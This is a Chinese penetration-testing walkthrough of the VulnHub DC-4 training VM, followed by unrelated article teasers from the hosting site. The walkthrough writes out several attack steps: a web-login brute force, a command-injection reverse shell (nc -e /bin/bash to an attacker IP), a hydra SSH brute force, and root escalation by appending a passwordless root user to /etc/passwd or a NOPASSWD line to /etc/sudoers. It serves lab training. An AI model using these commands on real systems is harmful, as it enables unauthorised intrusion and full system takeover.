VulnHub系列 DC-4靶机 渗透详细过程 | 红队打靶

VulnHub系列 DC-4靶机详细渗透测试过程

目录

  • VulnHub系列 DC-4靶机详细渗透测试过程
    • 一、将靶机导入到虚拟机当中
    • 二、渗透流程
      • 主机发现
      • 端口扫描
      • Web渗透
        • 暴力破解
        • 命令执行
        • 反弹shell
        • SSH暴力破解
        • 提权

一、将靶机导入到虚拟机当中

靶机地址:

https://download.vulnhub.com/dc/DC-4.zip

image-20240416231351749

二、渗透流程

主机发现

使用arp-scan命令或者nmap命令进行主机发现

image-20240416232834564

端口扫描

nmap -p- 192.168.43.27

image-20240416233010321

开放了22端口和80端口,可以再扫一下服务

nmap -p80,22 -sV -A 192.168.43.27

image-20240416233100055

识别一下web服务,看有什么信息

whatweb http://192.168.43.27

image-20240416233151791

并没有什么有价值的东西可利用,接下来访问Web界面

Web渗透

暴力破解

来到web界面,发现为登录界面,根据页面提示为管理员登录,但是通过简单信息收集并没有什么有效的信息,那么直接进行弱口令暴力破解

image-20240416234142112

image-20240416234241987

输入用户名admin,密码随意,抓取登录数据包,进行暴力破解

image-20240416234626837

发送请求,等待即可,根据响应大小判断得到结果,密码为happy

image-20240416234912020

命令执行

回到后台,等登录即可,进入后台,发现有命令工具,进入查看,点击run,发现执行了ls -l命令得回显内容,抓包看一下

image-20240416235311864

image-20240416235358848

image-20240416235846066

尝试将命令换成其他命令,如whoami,观察是否回显,直接可反弹shell

成功回显,接下来进行反弹shell操作,通过nc反弹

反弹shell

image-20240416235928239

radio=nc+-e+/bin/bash+192.168.43.105+8888&submit=%E8%B7%91

image-20240417000050642

kail端开启nc监听,成功接收到shell

image-20240417000141433

获取一个稳定shell

python -c "import pty;pty.spawn('/bin/bash')"

image-20240417000227434

观察当前目录下没有什么可用可看的文件,回答家目录查看一下,有无可用的信息

SSH暴力破解

到/home目录下发现有三个用户的家目录,那么我们依次进入,发现只有jim的家目录不为空,其他两个家目录都为空

image-20240417000322478

/home/jim目录下有三个文件,分别查看一下

image-20240417000517014

image-20240417000933407

通过test.sh脚本的提示信息,再加上查看发现的backups目录当中有密码信息,通过我们得到的三个用户名信息,再加上这个密码信息,可以尝试ssh爆破登录,观察是否可成功爆破出ssh用户的登录密码

先将获取的用户名和密码分别保存到文本文件当中,接下来进行爆破

hydra -L user.txt -P passwd.txt ssh://192.168.43.27

image-20240417000706852

通过ssh爆破,成功爆破出jim的ssh登录密码,接下来我们以用户名jim远程登录到靶机当中,进行下一步的操作

image-20240417001448887

远程登录

image-20240417001509925

查找一下目录,看有无重要信息

通过仔细观察我们发现有一个邮件,我们查看一下

image-20240417003158735

image-20240417001659032

去往此目录,查看jim文件得内容信息,发现charles发来的邮件,并有连接密码

image-20240417001727165

得到charles的ssh远程登录密码,进行远程登录操作

image-20240417001832760

然后我们再次通过charles用户进行远程登录,成功登录,发现也有邮件,查看一下,并无有用的信息

image-20240417002103968

image-20240417002140887

提权

接下来进行提权,提权三步走

//查找suid权限的有无可利用
find / -perm -u=s -type f 2>/dev/null

image-20240417002430209

image-20240417003305131

su和sudo可利用一下,但是均没成功

image-20240417002526943

image-20240417003326097

//列出目前用户可执行与无法执行的指令;
sudo -l 查看

image-20240417003432747

发现在charles当中的sudo -l命令当中存在以root权限执行的命令

image-20240417003418001

查看此命令帮助,如何使用

teehee --help

image-20240417003837462

翻译:我们使用-a参数

image-20240417003927416

那么接下来我们可以直接向/etc/passwd 文件当中写入,查看一下/etc/passwd文件信息

image-20240417004034359

//空密码,直接追加到/etc/passwd
echo "admin::0:0:admin:/root:/bin/bash" | sudo teehee -a /etc/passwd或 修改charles权限,给予"为所欲为"权限
echo "charles ALL=(ALL:ALL)NOPASSWD:ALL" | sudo teehee -a /etc/sudoers"

image-20240417004126373

image-20240417004138878

直接切换admin用户,发现charles无法切换,换jim用户切换成功,成功提权

su - admin

image-20240417004259456

jim用户切换成功:

成功提权,通关

image-20240417004242266

文章不妥之处,欢迎批评指正!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/823887.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Matlab|基于改进遗传算法的配电网故障定位

目录 1 主要内容 2 部分代码 3 部分程序结果 4 下载链接 1 主要内容 该程序复现文章《基于改进遗传算法的配电网故障定位》,将改进的遗传算法应用于配电网故障定位中, 并引入分级处理思想, 利用配电网呈辐射状的特点, 首先把整个配电网划分为主干支路和若干独立…

中国12.5米DEM地形瓦片数据免费领取!

之前向大家公开了中国34个省12.5米DEM地形瓦片数据的免费领取链接,大家对12.5米DEM数据的使用需求很强烈,领取也很积极,也有不少读者反馈能否提供全国范围的12.5米DEM地形瓦片数据,因为分省级地形瓦片数据想要合并成全国数据&…

ES-全文搜索

模糊查询: 写数据通过id路由到master分片 查询数据到一个节点,该节点会作为一个调度节点判断负载等情况将请求转发到真正节点(一般し轮询)

提升批量邮箱API发送效率:技巧与策略探讨

批量邮箱API发送邮件时如何提高发送效率?1、优化邮件内容和目标客户列表;2、利用邮件模板和个性化功能;3、合理设置发送时间和频率;4、使用A/B测试和数据分析;5、保持邮件列表更新和清洁。 一、优化邮件内容和目标客户…

CMEF | 澳鹏Appen精彩亮相第89届中国国际医疗器械博览会

4月14日,为期四天的第89届中国国际医疗器械博览会(CMEF)盛大收官。如今,人们的健康需求在人口老龄化等一系列因素的影响下持续增长,这意味着卫生系统也面对着更多具有复杂健康需求的患者。信息化、数字化、智能化已经成…

双指针的引入和深入思考(持续更新中)

目录 1.引入双指针 2.使用场景 3.例题引入 1.引入双指针 当我们需要维护某个区间性质的或者是求满足某些性质的区间的长度时,对于一个区间是由左右端点的,我们有简单的枚举左右端点的O()的时间的做法,当时在大多数题目中是不可行的&#…

20240329-1-SVM面试题

SVM面试题 1. SVM直观解释 SVM,Support Vector Machine,它是一种二分类模型,其基本模型定义为特征空间上的间隔最大的线性分类器,间隔最大使它有别于感知机;其还包括核技巧,这使它成为实质上的非线性分类…

OpenCV从入门到精通实战(二)——文档OCR识别(tesseract)

导入环境 导入必要的库 numpy: 用于处理数值计算。 argparse: 用于处理命令行参数。 cv2: OpenCV库,用于图像处理。 import numpy as np import argparse import cv2设置命令行参数 ap argparse.ArgumentParser() ap.add_argument("-i", "--imag…

计算机中的小数表示

文章目录 前言整数表示的缺陷定点小数定点小数加法乘法运算 浮点数IEEE754浮点数标准移码阶码的移码表示 IEEE754中的特殊点两个0非规格化数字正常浮点数无穷大NaN 浮点数简单举例浮点数一些其余特性浮点数计算不符合结合律浮点数舍入规则浮点数与整数之间的相互转换 总结 前言…

记录一次k8s pod之间ip无法访问,问题排查与定位

记录一次k8s pod之间ip无法访问,问题排查与定位 问题展现现象 node之间通信正常 部分node上的pod无法通信 排查有问题node 使用启动网络测试工具 环境准备 docker 数据库mysql 使用有状态副本集合 --- apiVersion: apps/v1 kind: StatefulSet metadata:anno…

生成对抗网络GAN的扩展应用理解

注:本文仅个人学习理解,如需详细内容请看原论文! 一、cycleGAN 1.整体架构: 将图片A通过生成器生成图片B,然后通过判别器判别图片B的真假;并且图片B通过另一个生成器生成A‘,让A和A’近似。 2…

C++ queue priority_queuestack 详解及模拟实现

1. stack的介绍和使用 1.1 stack的介绍 1. stack是一种容器适配器,专门用在具有后进先出操作的上下文环境中,其删除只能从容器的一端进行元素的插入与提取操作。 2. stack是作为容器适配器被实现的,容器适配器即是对特定类封装作为其底层的容…

JVM垃圾回收与算法

1. 如何确定垃圾 1.1 引用计数法 在 Java 中,引用和对象是有关联的。如果要操作对象则必须用引用进行。因此,很显然一个简单 的办法是通过引用计数来判断一个对象是否可以回收。简单说,即一个对象如果没有任何与之关 联的引用,即…

Python pyglet制作彩色圆圈“连连看”游戏

原文链接: Python 一步一步教你用pyglet制作“彩色方块连连看”游戏(续)-CSDN博客文章浏览阅读1.6k次,点赞75次,收藏55次。上期讲到相同的色块连接,链接见: Python 一步一步教你用pyglet制作“彩色方块连连看”游戏-…

Ai2024安装包(亲测可用)

目录 一、软件简介 二、软件下载 一、软件简介 Adobe illustrator,常被称为“AI”,是一种应用于出版、多媒体和在线图像的工业标准矢量插画的软件。作为一款非常好的矢量图形处理工具,该软件主要应用于印刷出版、海报书籍排版、专业插画、多…

Fiddler抓包工具之高级工具栏中的Inspectors的使用

高级工具栏中的Inspectors的使用 Inspectors 页签允许你用多种不同格式查看每个请求和响应的内容。JPG 格式使用 ImageView 就可以看到图片,HTML/JS/CSS 使用 TextView 可以看到响应的内容。Raw标签可以查看原始的符合http标准的请求和响应头。Cookies标签可以看到…

手机拍照技术

拍照技巧 说明: 本文将主要介绍摄影和手机常见技巧; 1. 摄影的基本知识 **说明:**关于摄影,手机和相机的原理都是相同的,不同的是相机在很多方面优于手机,但是专业的设备对于我们这种的非专业的人来说,刚…

Linux时间同步练习

题目如下: 一.配置server主机要求如下: 1.server主机的主机名称为 ntp_server.example.com 2.server主机的IP为: 172.25.254.100 3.server主机的时间为1984-11-11 11:11:11 4.配置server主机的时间同步服务要求可以被所…

重磅,巫师3即将发布mod编辑器并开放创意工坊

热乎乎的消息!巫师3即将推出mod编辑器和开放创意工坊! 根据巫师3官方Steam消息,听说年底将推出mod编辑器,目前已经开始内测。想试用的玩家们,可以到redkit商店页面申请访问权限,体验最新的创意工具。 此外&…

存入Redis的值前面有很多空格

说明:记录一次使用Redis的错误; 场景 在将验证码存入Redis时,发现存入的值前面有很多空格,导致在与前端传入的值比较时,一直是false,验证不通过。如下: 上面这些“□”是占位符,复…